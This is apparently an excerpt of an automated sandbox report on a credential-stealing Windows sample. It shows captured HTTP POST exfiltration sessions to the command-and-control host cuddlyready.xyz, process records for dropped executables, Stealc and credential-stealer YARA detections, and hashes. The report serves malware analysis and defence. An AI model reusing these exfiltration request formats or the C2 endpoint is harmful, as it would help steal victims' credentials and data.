2024-12-23 07:23:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49716	172.67.150.173	443	5732	C:\Users\user\Desktop\pfY4k1qisn.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:23:29 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=FPJ2QG377Y0FNCCN2WP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 570054 Host: cuddlyready.xyz
2024-12-23 07:23:29 UTC	15331	OUT	Data Raw: 2d 2d 46 50 4a 32 51 47 33 37 37 59 30 46 4e 43 43 4e 32 57 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 42 33 35 46 34 42 41 35 42 43 30 39 41 35 45 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 46 50 4a 32 51 47 33 37 37 59 30 46 4e 43 43 4e 32 57 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 46 50 4a 32 51 47 33 37 37 59 30 46 4e 43 43 4e 32 57 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 Data Ascii: --FPJ2QG377Y0FNCCN2WPContent-Disposition: form-data; name="hwid"5B35F4BA5BC09A5EAC8923850305D13E--FPJ2QG377Y0FNCCN2WPContent-Disposition: form-data; name="pid"1--FPJ2QG377Y0FNCCN2WPContent-Disposition: form-data; name="lid"PsFKDg--pa
2024-12-23 07:23:29 UTC	15331	OUT	Data Raw: 77 3c ff 36 be 9b 07 d2 51 94 ca 97 6f 88 8b 23 97 0a 39 75 85 21 52 73 c1 ec 0c a4 fd 00 af 95 db 6b 8d 5b 97 e2 be f0 9d 09 30 7f a4 98 28 bb f5 53 96 fc d4 57 f6 da 8e c7 85 5b 5a 7d 61 af fc 05 7e eb 4a 26 f5 7c 13 46 19 9a 8f d6 10 16 4b a5 c6 65 25 4a d2 ad 5c a1 8b 69 92 09 6b d9 0b e3 f3 42 1a 4e 2d 4b 1d b5 22 39 ca 53 fa 42 94 fb f5 b0 84 a4 e4 76 a6 72 0c 2c 94 ec cb 34 bc 71 42 1a 4c c8 c1 fa e1 f4 4c c1 b5 32 3e d8 67 ab d2 cb c1 8f d7 3a a8 08 be 61 d7 34 ec e1 6f 7c 5c 39 64 ac 1d 15 5c 0b 20 a1 bb 74 e1 ad 55 13 49 f4 1c 76 ed 7b de ba 5b 8b 12 6b 37 3f 58 bd b0 a6 d1 0b d1 f2 64 6f c0 b6 d5 45 c5 7c 07 82 1b 05 c6 4f 2e 1c 78 d7 a5 09 2a c6 52 1f be fe b2 7e cc e9 81 3d d7 cf e6 b5 7f 36 c4 9e eb b9 30 fb ec fd 05 24 81 8e ff 59 03 79 df Data Ascii: w<6Qo#9u!Rsk[0(SW[Z}a~J&\|FKe%J\ikBN-K"9SBvr,4qBLL2>g:a4o\|\9d\ tUIv{[k7?XdoE\|O.x*R~=60$Yy
2024-12-23 07:23:29 UTC	15331	OUT	Data Raw: 72 04 ae b9 d4 1f 98 11 fe 88 29 a4 e1 c0 3c dc 3a 3a aa e9 ac d0 5d 6a 41 76 85 14 d8 bf 9f a2 28 46 59 e3 03 47 f6 aa d7 07 e7 df 52 ee 12 15 da 85 79 7e 3f 69 9e a5 39 7c 5c da dc 3f ad 64 eb f7 7f 85 dc ce c5 18 e5 d4 d0 a1 9f ef 23 39 85 4f 27 ab de bf 95 0a 10 f2 e4 a4 57 df a2 1b 55 a4 72 bc fb c2 6e 3f 9a 93 1b b8 92 51 1d 33 3e 6d f7 45 84 e3 95 10 4c ec a2 8f 1d 0a 49 48 0b 57 76 45 8b 0d 69 0c 35 f7 e4 95 61 25 c8 1b 6b b9 cc 0a 5b bb 7c 4f b1 5f 2a d4 aa 66 4a 1a 5a 07 d6 fd f7 fa 1e 4c 94 7e 92 86 43 d9 ba 8f 30 4d 45 2b 27 df 4a 2e 8a 9f df a5 b5 26 79 29 91 7c 6a 38 6f be 26 94 5b a1 c2 a1 15 c4 44 18 a5 b8 2f 3f b2 a0 96 62 27 a5 eb 3d 8c 4d e3 f6 3e 4c 68 0f 75 53 6e 8a 25 21 15 26 bf 99 04 78 38 49 19 5e be a2 37 fd 4b 62 f2 a3 f6 26 b9 Data Ascii: r)<::]jAv(FYGRy~?i9\|\?d#9O'WUrn?Q3>mELIHWvEi5a%k[\|O_*fJZL~C0ME+'J.&y)\|j8o&[D/?b'=M>LhuSn%!&x8I^7Kb&
2024-12-23 07:23:29 UTC	15331	OUT	Data Raw: a5 f3 fd 87 6e 0a 33 ed 0b 6b 84 1d 36 57 06 2e ee 2c 1d ba 45 a2 1b a7 4d e6 2c f2 03 47 54 2d 88 ac 3f de 9f ad 0e 18 7e 39 f4 fe 41 e6 ed 02 d3 82 3c db e4 36 31 ac 0a 08 8e b8 76 d9 cc bc 70 ae 28 df 6b 8b 3e 8b d1 8a d7 0c 6f 8a b5 86 e0 ae 85 3c e6 ee e0 8c 14 bb 01 55 56 a7 a5 84 30 e6 37 16 ff 30 13 45 e6 9a 8a 0b aa 0f ab 5e fd 96 48 95 07 fb 31 4e 50 46 15 a4 a6 85 99 bf 6d ee bf f6 aa 1b 51 b8 69 71 1f c2 9e 1b 08 b0 a7 7c 48 bd d9 76 64 e9 18 91 eb 77 db 8c 51 5f 20 e6 29 8d 85 3f 91 ee 9f 9f 15 87 85 25 f8 ad 71 5d dc 38 90 47 ab ea 17 73 66 fa 87 c8 48 81 c9 d0 4d 2e 57 c5 f6 d7 ff 33 3c f4 16 a6 cd 74 31 7a 03 98 a2 84 6f e8 8a 3f fd df e2 f6 ed 3f 01 7d cf fd 96 dc 92 ea 3d 53 9b cc 73 5b da df de 25 bc 5d a5 1d 0c ce 89 c4 73 d7 4d 33 8f Data Ascii: n3k6W.,EM,GT-?~9A<61vp(k>o<UV070E^H1NPFmQiq\|HvdwQ_ )?%q]8GsfHM.W3<t1zo??}=Ss[%]sM3
2024-12-23 07:23:29 UTC	15331	OUT	Data Raw: 0c 5a 45 ca 74 77 f2 6d b2 59 a1 04 93 20 d2 a8 30 ca ad 17 1c 73 8d f6 2c b4 5d c1 ce c4 03 77 37 08 9f e9 3a 9c bf ef f1 46 c3 19 ad 25 f5 b9 92 62 0f 7e 81 3f ef 48 9f fc 8e 36 46 eb fa cf 35 d8 07 3d 92 4a 12 16 f9 bd 35 51 6f 82 f3 e1 10 b9 e9 c6 9a b9 9a aa 27 5f 77 d0 56 c7 cb 35 7a 63 3b 5c f1 f4 c3 ef 14 4b fa b8 67 81 78 eb da 59 41 9b 3e 15 b5 ac 8c e1 4d 20 aa a2 63 a5 df e1 08 5e d8 a4 b3 4f 18 6e 1e 14 0f 12 b8 b4 df e9 bc 30 79 c9 95 75 78 e7 3a 11 fc 55 f0 50 ed 86 83 46 32 82 04 76 11 bf 9a e2 88 99 55 6b a5 c4 38 df ba 40 d1 89 53 74 cb 56 cc f3 63 6d df 24 a4 99 d6 1d aa f1 a3 5b 9a 9e 1a 72 a8 c9 5e da 44 55 6c 0b 8e c9 ea 7e e4 28 d7 af 2e 2b b2 c3 a6 99 98 a9 9c 4a 6b 7d f3 b0 29 c2 a8 db de 13 9c 06 b9 bb eb 1c 74 13 fb 6d b3 14 7a Data Ascii: ZEtwmY 0s,]w7:F%b~?H6F5=J5Qo'_wV5zc;\KgxYA>M c^On0yux:UPF2vUk8@StVcm$[r^DUl~(.+Jk})tmz
2024-12-23 07:23:29 UTC	15331	OUT	Data Raw: 9b 58 b3 de 8f 8a b4 dd da e7 b4 46 c0 52 93 56 96 1e 66 00 87 bf d8 6a f7 6a 6f ff 11 f3 c2 1b d0 90 83 a1 aa 8d cb 17 02 1f 44 50 55 0c a6 07 3f 9f 9b 68 ac 3b 7b d9 01 90 1c 82 23 42 d7 8f 8c 67 d1 13 1a c8 53 82 ad f8 77 12 34 a4 a6 fb 72 e7 9f 26 36 9a 7d 62 c8 91 87 27 6d c7 14 fb 3b 9e 86 1e bd 66 76 85 bb 63 5a 99 11 5e fc ee 49 3c 05 1b 81 89 59 37 71 56 72 a9 8b 08 e9 de 73 af 48 70 db 5d f7 04 f8 d8 61 23 bd 02 cd 11 cc 48 80 ef f4 19 7c 4c bb 53 c5 86 8f 20 a9 2f 3c 59 1b 79 b6 4a 52 6e 63 dc bd 3a 79 1a 66 46 c3 63 00 dc 1c 55 cc 50 4c 1b 24 24 73 ee 47 17 fd 6f 7a a8 19 08 59 ef 90 a5 2d 3f 41 12 19 7f 19 b7 54 2d 26 52 1f a6 89 7a 9e 5b 7d e5 66 89 38 70 e0 c8 0f 4a e5 d0 0f 8a 08 60 2d 4b 81 7f f9 59 1d ff f0 fb ef 03 94 b6 de f3 c0 8d 9e Data Ascii: XFRVfjjoDPU?h;{#BgSw4r&6}b'm;fvcZ^I<Y7qVrsHp]a#H\|LS /<YyJRnc:yfFcUPL$$sGozY-?AT-&Rz[}f8pJ`-KY
2024-12-23 07:23:29 UTC	15331	OUT	Data Raw: bc 7d aa 6a dd 3d eb 3e 2b 35 e7 6b a3 cd cc 7f 92 9f 26 9d ee 0c 32 76 54 ad d4 68 9f da 58 58 9c d8 f4 9e e0 2c 72 7e 2c bf 57 3d 1b 75 ee f8 81 28 9a 92 78 b5 19 85 9e 68 68 e3 8a 11 61 ff 3d 80 d1 e6 c8 de c5 ba 1b 75 ce 3e d1 e7 aa e9 f9 1c 1f 68 7c eb e7 65 2d 1b 61 7e b4 5a 46 85 07 c8 6d b2 87 8f 95 45 6f 58 0f 2a 9e 0f 8c f0 17 9c fd 22 83 e5 bf 77 0a db b9 6f 2f 23 51 b5 09 65 3a 86 b9 37 f0 45 7c 20 9c af 30 35 e4 5c d5 dc 2c 96 73 a5 56 73 0c 5c 48 5b e4 14 b3 d1 63 bc 42 33 f7 28 be f8 1a 01 2b 4b d2 20 69 0c 8b 22 ee 4c f4 f2 1c 95 73 25 9c 3e 76 6e 90 a2 a8 44 a2 28 66 28 b6 27 d7 6a 7e de 26 38 7d 96 66 6b 13 e3 ba 4b 65 dc e6 db 57 37 ad 9f a6 7a 42 c4 29 b5 95 42 4a 62 23 7b 67 95 8b 6c e8 9a c9 61 8a 8f 20 a9 5a 01 a2 ba cd 22 65 d8 e4 Data Ascii: }j=>+5k&2vThXX,r~,W=u(xhha=u>h\|e-a~ZFmEoX*"wo/#Qe:7E\| 05\,sVs\H[cB3(+K i"Ls%>vnD(f('j~&8}fkKeW7zB)BJb#{gla Z"e
2024-12-23 07:23:29 UTC	15331	OUT	Data Raw: 89 d5 01 84 b1 ea 59 46 7a 7d 7b 63 b0 c8 fc 6d 56 4f 5d cd 3f e3 b9 7c 88 3b 81 89 6b c8 26 0c 90 67 3f bd cf 73 f2 aa 50 09 2a 9c 3b 6f c2 4a f0 bc f0 ef 09 10 fa ec ec f8 24 0f 1d fc 08 2d 58 d2 42 d4 13 a3 fe 7d 06 a5 83 1d 8f 3b d5 5a 22 00 cf 1e 8c d2 4b 29 54 7f ba dd c6 3e db 3d c6 bb 8f 56 b1 29 50 73 2a 11 23 f6 68 e4 fb ed 35 3b 71 1b 59 4e d2 27 80 1f 29 a1 ff 1c 14 ef 43 64 a6 c5 2b fc 73 3f e9 ef ef 89 ce 81 27 c0 e7 ec e7 da 47 e6 6d 6d f4 39 93 75 f3 3a c7 f7 d0 79 40 c5 56 35 fc ed c3 50 de e3 13 4e 52 3a 5a 7f ad 10 1b be a7 30 99 7c ab 9e 6c fb 2f 94 f3 ac 1d 6e ca 42 d6 15 85 bc c8 10 8d 7b f7 fb 96 fe d2 5b 01 ef d2 d3 55 03 13 34 3d ba 13 6c 05 3e e7 f8 b1 63 d0 e2 58 14 6a 9e ba 63 b3 35 16 73 25 0d 73 bd 99 e1 10 ea 2c 78 f3 c0 96 Data Ascii: YFz}{cmVO]?\|;k&g?sP;oJ$-XB};Z"K)T>=V)Ps#h5;qYN')Cd+s?'Gmm9u:y@V5PNR:Z0\|l/nB{[U4=l>cXjc5s%s,x
2024-12-23 07:23:29 UTC	15331	OUT	Data Raw: b1 3a 15 71 84 f6 3a 42 55 e4 7d 41 02 61 b0 29 db 28 d4 38 99 93 b1 ab ee 66 59 48 54 83 32 55 5d 50 dd 77 e5 03 d2 ca 8e 7c 05 fb 26 4f ed 9d f0 a0 b5 a2 ad 22 ab 99 77 b7 53 75 f1 d6 64 be 43 a3 9f 5c a8 2e d5 b0 7c 13 4b f7 e3 2f 85 6d e8 68 9a 8c 8a 58 f4 79 e7 97 1b 19 05 c8 19 be c2 02 94 38 26 36 42 01 c1 e9 9c c9 80 a9 13 de 9b 33 fa f0 37 6d c2 69 69 3d ec 85 39 b0 c8 90 a5 c9 c0 a9 68 04 5e 02 79 50 18 c5 70 6e 48 88 8f 73 43 51 c2 83 92 78 33 cf 13 79 d7 b5 47 04 0b 38 f8 6b a6 ca 7c b5 ba 93 9c 9b a7 e4 ae 7c c0 a4 5e e3 01 63 57 5d 38 42 08 13 a7 7b 70 b0 df 61 4d 6b 4a cf c9 3a ad ee 86 aa d6 a4 1a b5 31 25 f9 96 2a d3 7f 08 24 35 f9 cc 20 0a 7b 8a 8b 6c 06 82 ef 9e ec 7d 11 d1 cb e5 e4 23 ae 74 e3 8c 26 ca eb de ff d6 80 ff d9 ec 96 7f 00 Data Ascii: :q:BU}Aa)(8fYHT2U]Pw\|&O"wSudC\.\|K/mhXy8&6B37mii=9h^yPpnHsCQx3yG8k\|\|^cW]8B{paMkJ:1%*$5 {l}#t&
2024-12-23 07:23:29 UTC	15331	OUT	Data Raw: 74 4e 07 14 f1 85 ff b8 e6 c3 f5 28 f3 9e e1 ee cd 4b 6d 04 95 2d 8a 36 1d 8e a2 44 f9 94 00 1f 7f 7d 69 82 a9 41 03 d9 fc 5c a0 b6 89 91 94 10 6f f7 23 e2 25 f0 88 24 29 f3 4b 11 29 8e 83 58 31 a9 49 a8 1f ce da 7b e3 5a f1 29 6d 50 e7 15 8a f7 c6 07 77 54 6f 1b f7 db 5f 82 94 b8 85 2a 12 d2 44 1b 03 7e 9f 21 9c 80 90 e0 98 7c f6 b2 20 0d 9e 23 27 1f 6a 10 0f e5 d4 d8 87 87 f4 b9 53 b9 e6 d3 e7 2c 9f 12 84 c1 7d 4b b9 3d ca 07 e0 0c 2c 7a e7 0e 5f e2 a2 51 b2 b8 58 f7 0d b6 a3 f8 f4 91 a7 c0 14 e5 37 bb 5d 70 1d a5 6d a2 77 32 65 ef 1a 1b bb 97 1b 71 45 f4 4d 01 10 e1 79 f4 32 0c c1 26 bd 85 4d 0f e0 de fe 5c ba 64 c0 5d 42 3c ba 9a 75 ce a8 8e 70 24 86 27 ab a2 dd 2c 64 06 d1 20 e4 61 64 62 fc 5a b0 23 f9 d0 77 aa c4 c4 81 86 5f c5 c4 6b 59 1a 56 a3 69 Data Ascii: tN(Km-6D}iA\o#%$)K)X1I{Z)mPwTo_*D~!\| #'jS,}K=,z_QX7]pmw2eqEMy2&M\d]B<up$',d adbZ#w_kYVi
2024-12-23 07:23:31 UTC	1131	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:23:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sd142eui5nu5j99514k3nj58e4; expires=Fri, 18 Apr 2025 01:10:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Fa9bpGjkin0mTG7o2ssBExQPIbq9McwoBDueu9Wdn6vLqc%2FOpsBNQvkvpaKioNNEty4YmfBmviIdbrW3oNnWO5QNMxuDOc06b8mG2aqVMqHx4sQ2PGs4u%2FGXWKEuDmgiQ2E%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f669b460c7815cb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1442&min_rtt=1432&rtt_var=558&sent=201&recv=593&lost=0&retrans=0&sent_bytes=2835&recv_bytes=572601&delivery_rate=1924851&cwnd=178&unsent_bytes=0&cid=84a67dafb60bd0e0&ts=2362&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49724	172.67.150.173	443	5732	C:\Users\user\Desktop\pfY4k1qisn.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:23:33 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: cuddlyready.xyz
2024-12-23 07:23:33 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 35 42 33 35 46 34 42 41 35 42 43 30 39 41 35 45 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=5B35F4BA5BC09A5EAC8923850305D13E
2024-12-23 07:23:33 UTC	1129	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:23:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l0uhumv1v15vqdelkbpilji02j; expires=Fri, 18 Apr 2025 01:10:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OHvLwv6%2BiM%2BiFHs6MQ2BeX235eoC6Wo0SH1MPBx5Dz8Whyf%2F9tLSqNfguHdutYO%2B%2FM7VNUi%2FJANQZPYKTY3QajRwCRkdjNJkKN6kjKIPABngKg3Cz1J5f2nP6da41RD9PBY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f669b5d9c5e423d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1600&min_rtt=1588&rtt_var=619&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=981&delivery_rate=1732937&cwnd=186&unsent_bytes=0&cid=4b0e7dc7bc3c43ee&ts=787&x=0"
2024-12-23 07:23:33 UTC	214	IN	Data Raw: 64 30 0d 0a 4d 47 4d 55 61 32 75 42 6e 69 6e 77 63 71 72 75 31 70 48 32 34 74 50 69 4d 5a 4c 58 6e 77 58 68 6f 46 48 51 37 70 70 32 64 4b 6c 72 47 44 59 65 53 62 75 38 51 59 51 47 32 74 53 4b 76 71 72 4e 34 74 6f 45 76 4f 57 75 4d 4d 2b 52 59 4f 50 41 71 30 41 6f 68 6c 38 46 63 6a 64 45 35 66 74 50 33 68 66 53 69 2f 53 39 31 49 53 6e 77 41 75 69 2b 37 31 67 77 35 70 68 72 63 4c 68 56 41 47 4c 43 6b 46 38 48 78 2f 78 70 48 58 66 4c 6f 58 66 37 71 54 59 30 4f 4c 58 48 36 50 6d 72 43 76 51 6c 67 33 2f 6e 65 34 54 46 63 52 73 54 47 59 4b 42 65 58 78 52 4e 34 58 30 6f 76 30 76 64 53 45 70 38 41 4c 6f 76 75 39 59 4d 4f 61 59 61 32 7a 0d 0a Data Ascii: d0MGMUa2uBninwcqru1pH24tPiMZLXnwXhoFHQ7pp2dKlrGDYeSbu8QYQG2tSKvqrN4toEvOWuMM+RYOPAq0Aohl8FcjdE5ftP3hfSi/S91ISnwAui+71gw5phrcLhVAGLCkF8Hx/xpHXfLoXf7qTY0OLXH6PmrCvQlg3/ne4TFcRsTGYKBeXxRN4X0ov0vdSEp8ALovu9YMOaYa2z
2024-12-23 07:23:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	02:23:11
Start date:	23/12/2024
Path:	C:\Users\user\Desktop\pfY4k1qisn.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\pfY4k1qisn.exe"
Imagebase:	0x9a0000
File size:	1'856'000 bytes
MD5 hash:	857B0A5B813FC9BBE2F0F6C3A88C608D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2219497222.00000000014A8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2219846381.00000000014A8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:23:39
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe"
Imagebase:	0xdc0000
File size:	2'765'312 bytes
MD5 hash:	579641D4119C3977AA3E5FDCBB740D8B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:23:44
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe"
Imagebase:	0xb90000
File size:	2'835'456 bytes
MD5 hash:	59729E914FA8E15D347129643C03AC1F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000003.2425662975.0000000005390000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.2466975072.0000000000B91000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.2469702020.000000000158E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.1%
Dynamic/Decrypted Code Coverage:	29%
Signature Coverage:	0%
Total number of Nodes:	31
Total number of Limit Nodes:	2

Executed Functions

Function 00F489CE Relevance: 1.5, APIs: 1, Instructions: 31fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,EC467FF7,?), ref: 00F48A22

Memory Dump Source

Source File: 00000003.00000002.2503302404.0000000000F44000.00000040.00000001.01000000.00000006.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000003.00000002.2502970442.0000000000DC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2502997755.0000000000DC2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503018669.0000000000DC6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503039242.0000000000DCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503059780.0000000000DD4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503080086.0000000000DD5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503098558.0000000000DD6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503215452.0000000000F27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503238570.0000000000F2A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503262641.0000000000F42000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503282571.0000000000F43000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503302404.0000000000F4D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503342731.0000000000F57000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503361359.0000000000F59000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503381372.0000000000F62000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503400609.0000000000F69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503425925.0000000000F7F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503448354.0000000000F90000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503468415.0000000000F9E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503488378.0000000000FA2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503506049.0000000000FA3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503528748.0000000000FA5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503548750.0000000000FB1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503568955.0000000000FBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503587133.0000000000FBB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503605476.0000000000FC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503623415.0000000000FC1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503642793.0000000000FC5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503666579.0000000000FD7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503686015.0000000000FDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503705018.0000000000FDB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503727975.0000000000FE2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503750156.0000000000FEA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503769293.0000000000FEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503790457.0000000000FEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503811120.0000000000FF3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503835005.0000000001002000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503855110.0000000001004000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503873908.0000000001005000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503892113.0000000001008000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503911483.0000000001011000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503929541.0000000001012000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503959480.000000000104D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2503977962.000000000104E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504006767.000000000104F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504006767.0000000001057000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504048302.0000000001066000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2504067835.0000000001068000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_dc0000_QL5S57X7LY8KPTXEALS6X0KXHK0MG.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 35aa7f6d77c866b1064840e61cd4d0714de5670619513521bb526f64ba3624ff
Instruction ID: 04c7a274db2d09aed1e798530c7dcf8de087e372bd65886af9365264236c1698
